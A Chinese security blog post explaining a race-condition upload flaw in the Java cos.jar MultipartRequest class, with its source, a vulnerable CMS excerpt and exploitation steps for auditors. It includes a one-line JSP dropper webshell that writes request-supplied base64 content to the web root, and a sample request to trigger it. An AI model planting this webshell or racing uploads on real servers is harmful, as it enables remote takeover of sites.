欢迎光临
我们一直在努力

JavaWeb上传组件(时间竞争漏洞)

在做审计的时候,往往经验是比较重要的,但是还是需要留意一些 jar 包,所
预留更初级程序员的坑
今天要说的就是 cos.jar
这是个什么东西能,对于懒人程序员来说使用量还是挺大的…..
参考链接和下载地址http://www.servlets.com/cos/index.html
总体来说就是一个文件上传的组件
在这个组件里面通常会用到这个类
MultipartRequest

有 5 个参数

  1. http 的 request
  2. 缓存的文件路径
  3. 上传文件的大小
  4. 编码
  5. 上传时候 rename 规则

分析一下他具体怎么做的:

public MultipartRequest(HttpServletRequest request, String saveDirectory, int
maxPostSize, String encoding, FileRenamePolicy policy) throws IOException {
this.parameters = new Hashtable();
this.files = new Hashtable();
if(request == null) {
throw new IllegalArgumentException("request cannot be null");
} else if(saveDirectory == null) {
throw new IllegalArgumentException("saveDirectory cannot be null");
} else if(maxPostSize <= 0) {
throw new IllegalArgumentException("maxPostSize must be positive");
} else {
File dir = new File(saveDirectory);
if(!dir.isDirectory()) {
throw new IllegalArgumentException("Not a directory: " +
saveDirectory);
} else if(!dir.canWrite()) {
throw new IllegalArgumentException("Not writable: " +
saveDirectory);
} else {
MultipartParser parser = new MultipartParser(request, maxPostSize,
true, true, encoding);
Vector existingValues;
if(request.getQueryString() != null) {
Hashtable part =
HttpUtils.parseQueryString(request.getQueryString());
Enumeration name = part.keys();
while(name.hasMoreElements()) {
Object filePart = name.nextElement();
String[] fileName = (String[])part.get(filePart);
existingValues = new Vector();
for(int i = 0; i < fileName.length; ++i) {
existingValues.add(fileName[i]);
}
this.parameters.put(filePart, existingValues);
}
}
Part var14;
while((var14 = parser.readNextPart()) != null) {
String var15 = var14.getName();
String var18;
if(var14.isParam()) {
ParamPart var16 = (ParamPart)var14;
var18 = var16.getStringValue();
existingValues = (Vector)this.parameters.get(var15);
if(existingValues == null) {
existingValues = new Vector();
this.parameters.put(var15, existingValues);
}
existingValues.addElement(var18);
} else if(var14.isFile()) {
FilePart var17 = (FilePart)var14;
var18 = var17.getFileName();
if(var18 != null) {
var17.setRenamePolicy(policy);
var17.writeTo(dir);
this.files.put(var15, new UploadedFile(dir.toString(),
var17.getFileName(), var18, var17.getContentType()));
} else {
this.files.put(var15, new UploadedFile((String)null,
(String)null, (String)null, (String)null));
}
}
}
}
}
}

主要就是,通过 http 流解析出来,然后暂时缓存到目录里面,那么这里就会有一个坑,以
往的文件上传,缓存目录是不能设置的,
一旦开发人员设置了缓存目录,并且这个目录位于 web 目录下,那么就造成了任意文件上
传,对于有意识的程序员来说,可能认为
在这个类调用之后,我判断的规则不符合,我直接删除掉,这样以来不就安全了,真的安
全吗?
回过头来,再看看上面的这个程序,这个程序是可以连续读取很多文件的,我们就可以认
为既定时间内上传文件可控
第一个文件就是我们的 shell 文件,内容可以如下:

java.io.FileOutputStream(application.getRealPath("/")+"/"+request.getParameter("f")).write(new sun.misc.BASE64Decoder().decodeBuffer(request.getParameter("c")));out.close();%>

意思就是,上传一个中转文件,如果我们文件为 xxx.jsp,我们可以访问
xxx.jsp?f=mm.jsp&c=aGVsbG8=,这样以来就在 web 的
根目录下写入了一个 shell,shell 的内容就是 hello
不管作者程序是否多文件,你都可以构造第二个文件,内容要大,必须给我们要访问的中
转文件预留时间
实际看一个例子吧,某知名程序:

String newDir = date.format(new Date());
String pathOfTomcat = SysConfigVO.getInstance().getSITE_REAL_PATH();
String saveDirectory = "";
.................
................
...............
} else {
saveDirectory = pathOfTomcat + config.getFILE_UPLOAD_DIR() + File.separator
+ newDir;
}
saveDirectory = StrUtil.replaceAll(saveDirectory, "/", File.separator);
saveDirectory = StrUtil.replaceAll(saveDirectory, "//", File.separator);
saveDirectory = StrUtil.replaceAll(saveDirectory, "\\", File.separator);
File var38 = new File(saveDirectory);
if(!var38.exists()) {
var38.mkdirs();
}
int var37 = config.getFILE_UPLOAD_MAX_SIZE_BYTE();
MultipartRequest multi = null;
try {
multi = new MultipartRequest(requestHelper.getRequest(), saveDirectory,
var37, "gbk", new JcmsFileUploadRenamePolicy());
} catch (IOException var36) {
request.setAttribute("ERROR_MSG", "您上传的文件超出系统规定的大小(" +
config.getFILE_UPLOAD_MAX_SIZE_KB() + " KB,合计 " +
config.getFILE_UPLOAD_MAX_SIZE_M() + " M)");
var36.printStackTrace();
this.log.fatal(var36);
this.log.fatal("您上传的文件超出系统规定的大小(" + var37 / 1024 / 1024 + "
M)");

这样写有用吗,没卵用吧,如果第二个文件非常大,就直接 getshell 了,虽然报错了,都
没有人去删除那个,不是今天重点

if(!extNameAllow) {
s.delete();
this.log.error("您上传的文件类型不合法(" + url + "),允许上传的文件类型有:
" + allowExtName);
request.setAttribute("ERROR_MSG", "您上传的文件类型不合法,允许上传的文件类
型有:" + allowExtName);

这里如果判断你上传的类型不对,直接给删除了,自己写一个 script

访问一下:

未经允许不得转载:Caldow » JavaWeb上传组件(时间竞争漏洞)
分享到: 生成海报

切换注册

登录

忘记密码 ?

切换登录

注册

我们将发送一封验证邮件至你的邮箱, 请正确填写以完成账号注册和激活